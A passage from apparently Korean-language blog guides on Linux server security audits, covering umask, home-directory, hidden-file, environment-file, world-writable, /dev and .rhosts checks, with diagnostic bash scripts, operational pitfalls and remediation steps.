실무자의 실수 요인: /etc/profile만 수정하고 CI/CD 빌드 계정이나 애플리케이션 생성 계정의 .bashrc 또는 /etc/bashrc에 개별 지정된 umask 값을 생략하는 경우가 많습니다.
특수 환경 장애 사례 (WAS 및 배포 파이프라인): 웹 애플리케이션 및 파일 업로드 서버에 보안 강화를 이유로 전역 UMASK를 027 또는 077로 일괄 적용할 경우, 웹서버(Nginx/Apache - nginx 계정)가 WAS(Tomcat - tomcat 계정)가 생성한 파일 및 세션 폴더를 읽지 못해 HTTP 403 Forbidden 및 500 Internal Server Error 장애가 지속적으로 발생합니다.
대안 설정 기법: 웹 서비스나 공용 파일 업로드 디렉터리를 운영하는 인프라에서는 전역 UMASK를 022로 유지하고, 금융 및 개인정보 전용 인프라 디렉터리에만 그룹 계정별 개별 UMASK(027 또는 077)를 적용해야 합니다.

④ 안전한 수동 조치 절차

# 1. 파일 백업
cp -p /etc/profile /backup/security_fix/profile.$(date +%Y%m%d)

# 2. /etc/profile 내 기존 umask 설정 확인 및 수정
if grep -E -q -i "^[[:space:]]*umask" /etc/profile; then
    # 기존 umask 구문 주석 처리 후 새 umask 입력
    sed -i 's/^[[:space:]]*umask/# &/' /etc/profile
fi

# 글로벌 안전 권고 umask 추가
echo "umask 022" >> /etc/profile

# 3. 문법 검사 및 현재 세션 테스트 (shell syntax test)
bash -n /etc/profile
source /etc/profile
umask

2.3. [U-31] 홈 디렉토리 소유자 및 권한 설정

① 점검 목적 및 개요

사용자의 홈 디렉터리에 타사용자(Others)의 쓰기(w) 권한이 부여되어 있다면, 비인가자가 타인의 홈 디렉터리에 접근하여 .bashrc, .ssh/authorized_keys 등 환경 설정 파일 및 인증 열쇠를 변조할 수 있습니다. 이를 통해 권한 상승 및 타 계정 도용(Account Takeover)이 가능해지므로 소유자 외 쓰기 권한을 제한해야 합니다.

② 자동 진단 스크립트 분석

# U-31 점검 시작
CODE "[ U-31 ] 홈 디렉토리 소유자 및 권한 설정"

VULN_HOMES=""
CHECK_COUNT=0

# [상세 해설]: /etc/passwd의 계정명, 홈디렉터리, 쉘 정보를 한 줄씩 읽어 통제 루프를 실행합니다.
while IFS=: read -r user _ _ _ _ home shell; do
    # [상세 해설]: nologin, false, sync 등 시스템 데몬을 제외하고 실제 대화형 로그인 가능한 계정만 필터링합니다.
    if ! echo "$shell" | grep -E -q "nologin|false|sync"; then
        # [상세 해설]: 홈 디렉터리가 실제 디렉터리로 존재하며 최상위 루트(/)가 아닌 경우에만 진단을 진행합니다.
        if [ -d "$home" ] && [[ "$home" != "/" ]]; then
            CHECK_COUNT=$((CHECK_COUNT+1))
            
            # [상세 해설]: -L 옵션을 추가하여 심볼릭 링크인 경우 실제 대상을 추적하여 소유자와 권한을 가져옵니다.
            OWNER=$(ls -lLd "$home" | awk '{print $3}')
            PERMS=$(ls -lLd "$home" | awk '{print $1}')
            
            # [상세 해설]: ls -l 출력 결과의 9번째 위치인 기타 사용자(Other)의 쓰기(w) 권한 존재 여부를 파싱합니다.
            PERM_O_WRITE=$(echo "$PERMS" | cut -c 9)

            # [상세 해설]: 홈 디렉터리 소유권이 본인이나 root가 아니거나, 타사용자 쓰기 권한이 'w'로 뚫려 있는 경우 적발합니다.
            if [[ "$OWNER" != "$user" && "$OWNER" != "root" ]] || [[ "$PERM_O_WRITE" == "w" ]]; then
                VULN_HOMES="$VULN_HOMES $user:$home(소유자:$OWNER, 권한:$PERMS)"
            fi
        fi
    fi
done < /etc/passwd

# [상세 해설]: 취약한 홈 디렉터리 리스트 존재 여부에 따라 결과를 최종 판정합니다.
if [ -n "$VULN_HOMES" ]; then
    WARN "타사용자 쓰기 권한이 있거나 소유자가 잘못된 홈 디렉터리가 존재합니다." "취약 내역: [ $VULN_HOMES ]"
elif [ "$CHECK_COUNT" -gt 0 ]; then
    OK "모든 대화형 사용자 홈 디렉터리의 소유자 및 권한이 정상입니다." "총 ${CHECK_COUNT}개 로그인 계정 홈 디렉터리 점검 완료 (안전)"
else
    INFO "점검할 대상(대화형 쉘을 가진 사용자의 홈 디렉터리)이 존재하지 않습니다." "점검 대상 없음"
fi
FINISH "[ U-31 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

SFTP Chroot 환경 주의사항: OpenSSH의 ChrootDirectory 설정을 이용하는 환경에서는 홈 디렉터리 소유권이 반드시 root:root이어야 하며 일반 계정에 쓰기 권한이 없어야 SSH 접속이 허용됩니다. 소유권을 무심코 계정 소유자로 변경할 경우 SSH 접속 시 "fatal: bad ownership or permissions for chroot directory" 에러와 함께 원격 접속이 전면 차단됩니다.
안전 검증 절차: 홈 디렉터리 권한을 변경할 때 타사용자 쓰기 권한만 제거(chmod o-w)하고 그룹 권한은 애플리케이션 요구사항에 맞춰 유지하는 것이 장애 위험을 최소화합니다.

④ 안전한 수동 조치 절차

# 1. /etc/passwd 사용자 홈 디렉터리 권한 일괄 안전 조치 예시
# 대상 계정: developer01 (예시)
USER_NAME="developer01"
USER_HOME=$(grep -E "^${USER_NAME}:" /etc/passwd | awk -F: '{print $6}')

if [ -d "$USER_HOME" ]; then
    # 2. 소유권 교정 (해당 계정 소유 지정)
    chown $USER_NAME "$USER_HOME"
    
    # 3. 타사용자 쓰기 권한 제거 (755 또는 750 권한 권장)
    chmod o-w "$USER_HOME"
    
    # 4. 결과 확인
    ls -ld "$USER_HOME"
fi

2.4. [U-32] 홈 디렉토리로 지정한 디렉토리의 존재 관리

① 점검 목적 및 개요

/etc/passwd 파일에는 사용자 계정과 홈 디렉터리 경로가 정의되어 있습니다. 계정은 생성되었으나 실제 홈 디렉터리가 존재하지 않는 경우, 해당 계정으로 로그인 시 SSH 서비스가 설정 파일을 참조하지 못하거나 /(루트 디렉터리)를 기본 작업 공간으로 삼게 되어 시스템 보안 통제(환경변수, 접근 권한 제한 등)가 우회되는 문제가 발생합니다.

② 자동 진단 스크립트 분석

# U-32 점검 시작
CODE "[ U-32 ] 홈 디렉토리로 지정한 디렉토리의 존재 관리"

NO_HOMES=""

# [상세 해설]: /etc/passwd 파일 내의 계정명, 홈 경로, 쉘 항목을 순회하며 읽어옵니다.
while IFS=: read -r user _ _ _ _ home shell; do
    # [상세 해설]: 1. 홈 경로가 '/'인 시스템 예외 케이스 제외
    # [상세 해설]: 2. nologin, false, sync, halt, shutdown 등 대화형 로그인이 불가능한 데몬 계정을 완벽 제외합니다.
    if [ "$home" != "/" ] && ! echo "$shell" | grep -E -q "nologin|false|sync|halt|shutdown"; then
        # [상세 해설]: 실제 대화형 로그인 계정 중 지정된 홈 디렉터리가 디렉터리 형태(-d)로 존재하지 않는 경우 적발합니다.
        if [ ! -d "$home" ]; then
            NO_HOMES="$NO_HOMES $user($home)"
        fi
    fi
done < /etc/passwd

# [상세 해설]: 문자열 앞뒤 공백을 xargs로 깔끔하게 정리합니다.
NO_HOMES=$(echo "$NO_HOMES" | xargs)

# [상세 해설]: 홈 디렉터리가 누락된 계정이 존재하는지 여부에 따라 결과를 판정합니다.
if [ -n "$NO_HOMES" ]; then
    WARN "passwd 파일에 설정된 홈 디렉터리가 실제 존재하지 않는 계정이 있습니다." "존재하지 않는 홈 디렉터리: [ $NO_HOMES ]"
else
    OK "모든 사용자 계정의 홈 디렉터리가 정상적으로 시스템에 존재합니다." "패스워드 파일과 실제 경로 일치함 (데몬 계정 제외)"
fi
FINISH "[ U-32 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

자동화 쉘 스크립트의 허점: 관리자가 계정을 생성할 때 useradd -m 옵션을 누락하여 계정만 등록되고 디렉터리가 안 만들어지는 실수가 빈번합니다.
장애 및 사이드 이펙트: 홈 디렉터리가 없으면 SSH Key 기반 자동 로그인(~/.ssh/authorized_keys)이 불가능해져 배치 작업이나 CI/CD 배포용 서비스 계정이 동작하지 않는 장애가 일어납니다.
조치 시 주의사항: 퇴사자 계정이거나 사용하지 않는 계정이라서 홈 디렉터리가 삭제된 상태라면 단순히 디렉터리를 mkdir로 새로 만들기보다 계정 자체를 삭제하거나 쉘을 /sbin/nologin으로 전환하여 계정을 차단해야 합니다.

④ 안전한 수동 조치 절차

# 1. 미존재 홈 디렉터리를 보유한 사용자 확인 (예: devuser)
TARGET_USER="devuser"
TARGET_HOME="/home/devuser"

# 2-A. 사용 중인 계정인 경우: 디렉터리 신규 생성 및 소유권/기본 파일(skel) 부여
if id "$TARGET_USER" >/dev/null 2>&1; then
    mkdir -p "$TARGET_HOME"
    cp -r /etc/skel/. "$TARGET_HOME/"
    chown -R "$TARGET_USER":"$TARGET_USER" "$TARGET_HOME"
    chmod 750 "$TARGET_HOME"
fi

# 2-B. 사용하지 않는 계정인 경우: 계정 잠금 및 쉘 변경
usermod -s /sbin/nologin "$TARGET_USER"

# 3. 조치 결과 검증
ls -ld "$TARGET_HOME"
grep -E "^${TARGET_USER}:" /etc/passwd

2.5. [U-33] 숨겨진 파일 및 디렉토리 검색 및 제거

① 점검 목적 및 개요

침입자나 악성코드는 시스템 침투 후 추적을 피하기 위해 모든 사용자가 쓰기 가능한 임시 디렉터리(/tmp, /var/tmp, /dev/shm)에 온마이닝 스크립트나 웹쉘, 백도어 등을 숨김 파일(예: .exploit, ..., .rsa) 형태로 은닉합니다. 주요 임시 경로 내 불필요한 숨김 파일을 정기적으로 검색하고 제거하여 시스템 안전성을 확보해야 합니다.

② 자동 진단 스크립트 분석

# U-33 점검 시작
CODE "[ U-33 ] 숨겨진 파일 및 디렉토리 검색 및 제거"

# [상세 해설]: 전체 파일시스템 스캔 시 발생하는 I/O 부하를 방지하기 위해 해커가 주로 활용하는 대표적 공유/임시 경로만 타겟팅합니다.
SUSPICIOUS_DIRS="/tmp /var/tmp /dev/shm"
FOUND_HIDDEN=""

for dir in $SUSPICIOUS_DIRS; do
    if [ -d "$dir" ]; then
        # [상세 해설]: find의 -maxdepth 2 옵션으로 탐색 깊이를 제한하고, 현재/상위 디렉터리 표기('.', '..')는 예외 처리합니다.
        # [상세 해설]: OS 구동에 필수적인 X Window 소켓, ICE 소켓 등 정상 시스템 임시 소켓 디렉터리는 grep -vE로 필터링하여 오탐을 방지합니다.
        HIDDEN=$(find "$dir" -maxdepth 2 -name ".*" ! -name "." ! -name ".." 2>/dev/null | grep -vE '\.X11-unix|\.ICE-unix|\.XIM-unix|\.font-unix|\.Test-unix' | xargs)
        
        if [ -n "$HIDDEN" ]; then
            FOUND_HIDDEN="$FOUND_HIDDEN $HIDDEN"
        fi
    fi
done

# [상세 해설]: 결과 문자열의 앞뒤 공백을 제거합니다.
FOUND_HIDDEN=$(echo "$FOUND_HIDDEN" | xargs)

# [상세 해설]: 예외 처리된 정상 소켓 외에 이상 숨김 파일이 발견되었는지 점검 결과를 판정합니다.
if [ -n "$FOUND_HIDDEN" ]; then
    WARN "임시 디렉터리 내에 의심스러운 숨김 파일이 발견되었습니다. (백도어 의심)" "발견된 파일: [ $FOUND_HIDDEN ]"
    INFO "시스템 전체의 숨김 파일 검사는 디스크 부하 및 오탐 방지를 위해 수동 점검을 권장합니다." "명령어: find / -name \".*\" -print"
else
    OK "주요 임시/공유 디렉터리 내에 의심스러운 숨김 파일이 존재하지 않습니다." "의심 경로 내 숨김 파일 미발견 (정상 소켓 제외)"
    INFO "시스템 전체의 숨김 파일 검사는 디스크 부하 및 오탐 방지를 위해 수동 점검을 권장합니다." "명령어: find / -name \".*\" -print"
fi
FINISH "[ U-33 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

오탐으로 인한 서비스 장애 사례: /tmp 디렉터리의 .X11-unix, .ICE-unix, Systemd 디바이스 소켓 파일, DBMS의 세션 숨김 소켓 파일(예: .s.PGSQL.5432)을 악성 파일로 오인하고 일괄 삭제할 경우 DBMS 접속 불가 및 GUI/애플리케이션 데몬 즉시 다운 현상이 발생합니다.
안전 검증 방법: 발견된 숨김 파일이 시스템 정상 프로세스에서 쓰이고 있는지 확인하려면 파일 제거 명령어(rm) 실행 전, 반드시 lsof 또는 fuser명령어(예: lsof /tmp/.hidden_file)를 통해 해당 파일을 잡고 있는 프로세스가 있는지 체크해야 합니다.

④ 안전한 수동 조치 절차

# 1. 의심 숨김 파일 분석 (파일 타입 및 실행 프로세스 확인)
# 예시 파일: /tmp/.systemd_cache
TARGET_FILE="/tmp/.systemd_cache"

if [ -f "$TARGET_FILE" ] || [ -d "$TARGET_FILE" ]; then
    # 파일 유형 및 생성 일자 점검
    file "$TARGET_FILE"
    ls -la "$TARGET_FILE"
    
    # 2. 해당 파일을 사용 중인 프로세스 점검 (fuser / lsof)
    lsof "$TARGET_FILE" 2>/dev/null
    
    # 3. 안전하게 격리 디렉터리로 이동 (즉시 rm 지우기 금지)
    mkdir -p /backup/quarantine
    mv "$TARGET_FILE" /backup/quarantine/
fi

3. 그룹 스크립트 한계점 및 예외 처리 종합 제안

스크립트 한계점 분석

U-30 (UMASK) 분할 설정 디렉터리 미인식 문제:
- 최신 리눅스 OS(RHEL 8/9, Ubuntu 22.04/24.04 등)는 글로벌 환경 설정을 /etc/profile 단일 파일이 아닌 /etc/profile.d/*.sh 또는 /etc/bashrc에 분할하여 저장합니다. 단일 파일 검사 방식은 하위 디렉터리 설정에 의해 umask가 덮어씌워지는 현상(Override)을 감지하지 못해 오탐을 유발할 수 있습니다.
U-33 (숨김 파일) 깊이 제한 및 부하 문제:
- 디스크 부하 완화를 위해 -maxdepth 2로 제한했으나, 하위 디렉터리 깊숙이(예: /tmp/dir1/dir2/.malicious) 숨겨진 악성 파일은 탐지하지 못하는 한계가 있습니다.

개선 코드 스니펫 (Code Snippet)

# [개선 스니펫]: /etc/profile 뿐만 아니라 /etc/profile.d/*.sh 및 /etc/bashrc 전체 탐색
ALL_UMASK=$(grep -h -E -i "^[[:space:]]*umask" /etc/profile /etc/bashrc /etc/profile.d/*.sh 2>/dev/null | tail -n 1 | awk '{print $2}')

if [ -n "$ALL_UMASK" ]; then
    echo "[ 정보 ] 최종 적용 분석 대상 UMASK: $ALL_UMASK"
fi

안내문 및 면책조항

본 포스팅에서 제공하는 스크립트 상세 설명 및 조치 가이드는 리눅스 시스템 보안 강화를 목적으로 작성되었습니다. 시스템의 특성, 운영 서비스의 종류 및 배포판 버전에 따라 설정을 적용한 후 로그인 불가 등의 영향도가 발생할 수 있으므로 반드시 테스트 환경에서 사전 검증을 거친 후 적용하시기 바랍니다.
리눅스 서버 진단 전체 자동화 스크립트 원본을 공유받기 원하시는 분은 하단의 비밀 댓글로 이메일 주소를 남겨 주시면 확인 후 일괄 송부해 드리겠습니다. 본 가이드의 코드를 활용하여 발생하는 시스템 장애 및 불이익에 대한 책임은 사용자 본인에게 있습니다.

2026.07.28 - [보안취약점점검/보안취약점점검_리눅스] - [리눅스 보안취약점 점검] 자동화 스크립트 공통 함수 및 환경 설정

[리눅스 보안 점검 요약] 파일 및 디렉터리 관리(U-24 ~ U-28) 종합 진단 및 실무 조치 가이드

보안실무자J — Thu, 10 Sep 2026 13:16:13 +0900

리눅스 서버의 파일 접근 제어 및 네트워크 통제 체계를 다루는 [U-24 ~ U-28] 점검 그룹 진단 가이드입니다. 본 가이드에서는 사용자 환경변수 파일 권한, World Writable 파일, 비정상 디바이스 노출, r-command 신뢰 파일 및 TCP Wrapper 기반 접근 제어 항목을 다룹니다. 자동 진단 스크립트를 통한 정밀 진단부터 안전한 조치 및 백업 절차, 실무 장애 예방 노하우를 상세히 안내해 드립니다.

1. 파일 및 디렉토리 관리 영역의 (U-24 ~ U-28) 점검 항목 종합 요약

점검코드	점검 명칭	주요 점검 대상 파일	판단 기준 (양호)	위험도
U-24	사용자, 시스템 환경변수 파일 소유자 및 권한 설정	홈 디렉터리 내 .bashrc, .profile 등	소유자가 root 또는 해당 계정이고, Other 쓰기 권한이 없는 경우	상
U-25	홈 디렉터리 및 주요 디렉터리 내 World Writable 파일 점검	/home, /root, /etc, /usr등	시스템 운영상 불필요한 World Writable 파일이 존재하지 않는 경우	상
U-26	/dev에 존재하지 않는 device 파일 점검	/dev디렉터리 전역	/dev 내에 블록/캐릭터 특수 파일 외 일반 파일이 없는 경우	상
U-27	$HOME/.rhosts, hosts.equiv 사용 금지	/etc/hosts.equiv, $HOME/.rhosts	hosts.equiv 및 .rhosts파일이 존재하지 않거나 적절히 통제된 경우	상
U-28	접속 IP 및 포트 제한	/etc/hosts.deny, /etc/hosts.allow, 방화벽	hosts.deny에 ALL:ALL설정 후 허용 IP만 등록하거나 방화벽으로 통제된 경우	상

2. 세부 항목별 진단 및 조치 가이드

2.1. [U-24] 사용자, 시스템 환경변수 파일 소유자 및 권한 설정

① 점검 목적 및 개요

사용자 및 시스템 환경변수 파일(.bashrc, .bash_profile, .profile 등)은 로그인 및 쉘 실행 시 자동으로 로드되어 환경변수와 명령어를 정의합니다. 타사용자(Other)에게 쓰기 권한이 부여되어 있거나 소유권이 잘못 설정된 경우, 공격자가 악의적인 명령어(예: 백도어, Alias 변조)를 삽입하여 해당 계정 로그인 시 관리자 권한을 탈취하거나 침해사고를 유발할 수 있습니다.

② 자동 진단 스크립트 분석

# ------------------------------------------------------------------------------
# U-24 점검 시작: 환경변수 파일의 소유권 및 Other 쓰기 권한 검증
# ------------------------------------------------------------------------------
CODE "[ U-24 ] 사용자, 시스템 환경변수 파일 소유자 및 권한 설정"

# [상세 해설] 점검 대상이 되는 주요 쉘 시작 스크립트 및 환경 파일 목록 정의
ENV_FILES=".profile .kshrc .cshrc .bashrc .bash_profile .login .exrc .netrc"
VULN_ENV_FILES=""
CHECK_COUNT=0

# [상세 해설] /etc/passwd 파일을 콜론(:) 단위로 파싱하여 계정명과 홈 디렉터리 경로 추출
while IFS=: read -r user _ _ _ _ home _; do
    # [상세 해설] 홈 디렉터리가 실제로 시스템에 존재하는지 확인
    if [ -d "$home" ]; then
        for env_file in $ENV_FILES; do
            target_file="$home/$env_file"
            # [상세 해설] 대상 파일이 실제 파일로 존재하는 경우 점검 진행
            if [ -f "$target_file" ]; then
                CHECK_COUNT=$((CHECK_COUNT+1))
                
                # [상세 해설] ls -l 결과에서 3번째 필드(소유자)와 1번째 필드(권한 문자열) 추출
                OWNER=$(ls -l "$target_file" | awk '{print $3}')
                PERMS=$(ls -l "$target_file" | awk '{print $1}')
                
                # [상세 해설] 권한 문자열(예: -rwxrwxrwx)의 9번째 위치(Other의 'w' 권한) 추출
                PERM_O_WRITE=$(echo "$PERMS" | cut -c 9)
                
                # [상세 해설] 소유자가 root 또는 해당 사용자 계정이 아니거나, Other 쓰기 권한이 있으면 취약으로 판단
                if [[ "$OWNER" != "$user" && "$OWNER" != "root" ]] || [[ "$PERM_O_WRITE" == "w" ]]; then
                    VULN_ENV_FILES="$VULN_ENV_FILES $target_file(소유자:$OWNER,권한:$PERMS)"
                fi
            fi
        done
    fi
done < /etc/passwd

# [상세 해설] 취약 목록 존재 여부에 따른 결과 분기 출력
if [ -n "$VULN_ENV_FILES" ]; then
    WARN "타사용자 쓰기 권한이 부여되었거나 소유자가 잘못 지정된 환경변수 파일이 존재합니다." "취약 파일 내역: [ $VULN_ENV_FILES ]"
elif [ "$CHECK_COUNT" -gt 0 ]; then
    OK "모든 사용자 환경변수 파일의 소유자가 정상이며, 타사용자 쓰기 권한이 차단되어 있습니다." "총 ${CHECK_COUNT}개의 환경변수 파일 점검 완료"
else
    INFO "시스템 내에 점검 대상인 사용자 환경변수 파일이 존재하지 않습니다." "각 계정 홈 디렉터리 내 대상 파일 없음"
fi
FINISH "[ U-24 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 배포 자동화 스크립트가 root 계정으로 일반 애플리케이션 계정(.bashrc 등)에 환경 변수를 주입하면서 소유권을 root로 변경해버리는 사례가 빈번합니다. 이 경우 애플리케이션 계정으로 구동되는 CI/CD 파이프라인이나 서비스 데몬이 세션 로드 시 권한 에러를 발생시킬 수 있습니다.
안전 검증 절차: 변경 대상 계정의 쉘을 전환(su - <계정명> -c "env")하여 환경변수가 정상적으로 로드되는지 확인해야 합니다.
특수 환경(MSA/컨테이너): 컨테이너 이미지 빌드 시 불필요한 환경 파일(특히 패스워드가 기록되기 쉬운 .netrc)은 배포 단계에서 완전히 제거하는 멀티스테이지 빌드 파이프라인 구성을 권장합니다.

④ 안전한 조치 절차

# 1. 파일 백업 (점검된 사용자 홈 디렉터리 기준)
cp -p /home/targetuser/.bashrc /home/targetuser/.bashrc_backup_$(date +%Y%m%d)

# 2. 소유권 및 권한 수정 (Other 쓰기 제거 및 본인 소유 지정)
chown targetuser:targetuser /home/targetuser/.bashrc
chmod o-w /home/targetuser/.bashrc
# 또는 안전 권한 644/600 부여
chmod 644 /home/targetuser/.bashrc

# 3. 변경 결과 확인
ls -l /home/targetuser/.bashrc

2.2. [U-25] 홈디렉터리 및 주요 디렉터리 내 World Writable 파일 점검

① 점검 목적 및 개요

World Writable 파일은 시스템 내의 모든 로컬 사용자가 수정하고 내용을 덮어쓸 수 있는 파일(권한 o+w / xx2 또는 xx3/xx6/xx7)을 의미합니다. 주요 디렉터리나 공용 디렉터리에 이러한 파일이 방치되면 비인가자가 정상 실행 파일, 라이브러리, 쉘 스크립트, 설정 파일을 변조하여 시스템 무력화나 권한 상승(Privilege Escalation)을 유도할 수 있습니다.

② 자동 진단 스크립트 분석

# ------------------------------------------------------------------------------
# U-25 점검 시작: 주요 디렉터리 내 Other 쓰기 권한(-002) 파일 검색
# ------------------------------------------------------------------------------
CODE "[ U-25 ] 홈디렉터리 및 주요 디렉터리 내 World Writable 파일 점검"

# [상세 해설] World Writable 점검 대상이 될 핵심 디렉터리 목록 설정
TARGET_DIRS="/home /root /etc /bin /sbin /usr/bin /usr/sbin"

# [상세 해설] find 명령에 -xdev(동일 파일시스템 내 검색) 및 -perm -002(Other 쓰기 포함) 적용
# 60초 타임아웃을 적용하여 대용량 스토리지 점검 시 시스템 Hang 방지
WW_FILES=$(EXEC_TIMEOUT 60 "find $TARGET_DIRS -xdev -type f -perm -002 2>/dev/null | head -n 5 | xargs")
EXIT_CODE=$?

# [상세 해설] 타임아웃 반환 코드(124) 및 결과 문자열 존재 여부에 따른 판정
if [ "$EXIT_CODE" -eq 124 ]; then
    INFO "World Writable 파일 검색 중 응답 지연(60초 초과)이 발생하여 점검을 중단했습니다." "수동 점검 요망"
elif [ -n "$WW_FILES" ]; then
    WARN "주요 디렉터리 내에 모든 사용자(Others)가 수정 가능한 파일이 존재하여 악의적인 변조 위험이 있습니다." "발견된 파일(최대 5개): [ $WW_FILES ]"
else
    OK "지정된 주요 디렉터리 내에 불필요한 World Writable 파일이 발견되지 않았습니다." "안전한 권한 설정 확인"
fi
FINISH "[ U-25 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 임시 디렉터리나 로그 디렉터리(app_log.txt)의 권한 문제를 해결하기 위해 엔지니어가 무심코 chmod 777을 실행하여 World Writable 파일이 생성되는 경우가 많습니다. 또한 /tmp나 /var/tmp 등 정상적으로 World Writable이 허용되어야 하는 공용 디렉터리의 Sticky Bit(chmod +t) 속성을 누락하여 타 사용자의 파일 삭제/변조 사고가 발생합니다.
안전 검증 절차: 애플리케이션 로그 파일인 경우 프로세스 구동 계정 전용 그룹을 생성하여 그룹 쓰기 권한(chmod g+w)을 부여하고 Other 권한은 철저히 회수해야 합니다.
대용량 파일시스템 환경: NFS/NAS 마운트 디렉터리에서 find /를 실행하면 I/O 병목이 발생하므로 점검 스크립트 작성 시 -xdev 플래그 사용이 필수적입니다.

④ 안전한 조치 절차

# 1. 대상 파일 권한 확인 및 백업 (권한 상태 보존)
getfacl /path/to/vulnerable_file > /path/to/vulnerable_file_acl_backup.txt

# 2. 타사용자(Other) 쓰기 권한 회수 (World Writable 제거)
chmod o-w /path/to/vulnerable_file

# 3. 권한 변경 결과 확인
ls -l /path/to/vulnerable_file

2.3. [U-26] /dev에 존재하지 않는 device 파일 점검

① 점검 목적 및 개요

/dev 디렉터리는 리눅스 커널이 인식하는 디바이스 드라이버와 통신하기 위한 블록 디바이스(Block Device, b), 캐릭터 디바이스(Character Device, c) 또는 디렉터리(d)만 존재해야 합니다. 공격자는 탐지를 회피하기 위해 /dev 디렉터리 내에 백도어 쉘 스크립트, 악성 바이너리, 로그 은닉 파일 등의 일반 정규 파일(Regular File, -type f)을 숨겨두는 수법을 자주 사용합니다.

② 자동 진단 스크립트 분석

# ------------------------------------------------------------------------------
# U-26 점검 시작: /dev 디렉터리 내 비정상 일반 정규 파일(-type f) 검출
# ------------------------------------------------------------------------------
CODE "[ U-26 ] /dev에 존재하지 않는 device 파일 점검"

# [상세 해설] /dev 디렉터리 내에서 블록/문자 특수 파일이 아닌 일반 파일(-type f) 탐색
DEV_FILES=$(find /dev -type f 2>/dev/null | head -n 5 | xargs)

# [상세 해설] 일반 파일이 검출된 경우 침해사고 의심(백도어 등) 경고 발생
if [ -n "$DEV_FILES" ]; then
    WARN "/dev 디렉터리에 존재해서는 안 되는 일반 파일이 발견되었습니다. (백도어 의심)" "발견된 파일: [ $DEV_FILES ]"
else
    OK "/dev 디렉터리 내에 불필요한 일반 파일이 존재하지 않습니다." "/dev 내 정상적인 디바이스 파일만 존재함"
fi
FINISH "[ U-26 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 일부 리눅스 배포판 및 커널 드라이버, 가상화 환경(예: /dev/.udev, /dev/shm 마운트 하위 파일)에서 시스템 구동 시 정상적인 일반 파일이나 런타임 파일이 생성될 수 있습니다. 이를 확인 없이 무조건 삭제하면 하드웨어 인식 장애나 udev 데몬 에러를 유발할 수 있습니다.
안전 검증 절차: 검출된 파일의 내용(file <파일명>, strings <파일명>)과 패키지 귀속 여부(rpm -qf <파일명> 또는 dpkg -S <파일명>)를 확인하여 시스템 구성 요소인지 악성 파일인지 검증합니다.
조치 팁: 의심 파일 발견 시 즉시 삭제(rm)하기보다는 안전한 격리 디렉터리(/root/quarantine/)로 이동(mv)시킨 후 서비스 영향도를 관찰해야 합니다.

④ 안전한 조치 절차

# 1. 의심 파일 내용 및 속성 확인
file /dev/suspicious_file
head -n 20 /dev/suspicious_file

# 2. 격리 디렉터리 생성 및 파일 격리 (삭제 대신 이동)
mkdir -p /root/quarantine_dev/
mv /dev/suspicious_file /root/quarantine_dev/

# 3. /dev 상태 재검증
find /dev -type f

2.4. [U-27] $HOME/.rhosts, hosts.equiv 사용 금지

① 점검 목적 및 개요

/etc/hosts.equiv 및 각 사용자 홈 디렉터리의 .rhosts 파일은 r-command(rsh, rlogin, rcp 등) 사용 시 패스워드 인증 없이 원격 호스트 및 계정의 접속을 신뢰하도록 허용하는 레거시 설정입니다. IP 스푸핑(Spoofing)이나 내부망 장악 시 패스워드 없이 원격 루트 권한 및 시스템 권한을 손쉽게 획득할 수 있으므로 해당 파일의 사용을 전면 금지해야 합니다.

② 자동 진단 스크립트 분석

# ------------------------------------------------------------------------------
# U-27 점검 시작: hosts.equiv 및 각 계정 .rhosts 파일 존재 여부 검사
# ------------------------------------------------------------------------------
CODE "[ U-27 ] \$HOME/.rhosts, hosts.equiv 사용 금지"

VULN_RHOSTS=""

# [상세 해설] 1. 시스템 전역 신뢰 파일인 /etc/hosts.equiv 존재 여부 검사
if [ -f /etc/hosts.equiv ]; then
    VULN_RHOSTS="/etc/hosts.equiv "
fi

# [상세 해설] 2. /etc/passwd의 모든 계정 홈 디렉터리를 순회하며 .rhosts 파일 탐색
while IFS=: read -r user _ _ _ _ home _; do
    if [ -d "$home" ] && [ -f "$home/.rhosts" ]; then
        VULN_RHOSTS="$VULN_RHOSTS $home/.rhosts"
    fi
done < /etc/passwd

# [상세 해설] 취약 파일이 발견될 경우 경고 발생
if [ -n "$VULN_RHOSTS" ]; then
    WARN "인증 없이 원격 접속을 허용하는 취약한 설정 파일이 존재합니다." "발견된 파일: [ $VULN_RHOSTS ]"
else
    OK "취약한 원격 접속 설정 파일(.rhosts, hosts.equiv)이 존재하지 않습니다." "해당 파일 미발견 (안전)"
fi
FINISH "[ U-27 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 과거 유닉스 환경에서 작성된 오래된 배치 스크립트나 클러스터 관리 도구가 r-command 신뢰 파일에 의존하고 있는 경우가 있습니다. 해당 파일을 무작정 삭제할 경우 정기 데이터 동기화 배치가 중단될 수 있습니다.
안전 검증 절차: SSH 공개키 기반 비대칭키 인증(~/.ssh/authorized_keys) 체계로 전환하여 패스워드 없는 안전한 자동화 환경을 구축해야 합니다.
특수 환경 조치: 레거시 장비와의 통신으로 인해 즉시 삭제가 불가능한 유예 기간에는 소유자를 root 또는 해당 계정으로 지정하고 권한을 600 이하로 강력히 통제하여 파일 변조를 차단해야 합니다.

④ 안전한 조치 절차

# 1. 파일 백업 (보관용 디렉터리로 이동)
mkdir -p /root/backup_rhosts/
[ -f /etc/hosts.equiv ] && mv /etc/hosts.equiv /root/backup_rhosts/

# 2. 사용자 계정 홈 디렉터리 내 .rhosts 파일 검색 및 삭제/이동
find /home -name ".rhosts" -exec mv {} /root/backup_rhosts/ \;

# 3. r-command 서비스 비활성화 확인 (systemd 기준)
systemctl stop rsh.socket rlogin.socket rexec.socket 2>/dev/null
systemctl disable rsh.socket rlogin.socket rexec.socket 2>/dev/null

2.5. [U-28] 접속 IP 및 포트 제한

① 점검 목적 및 개요

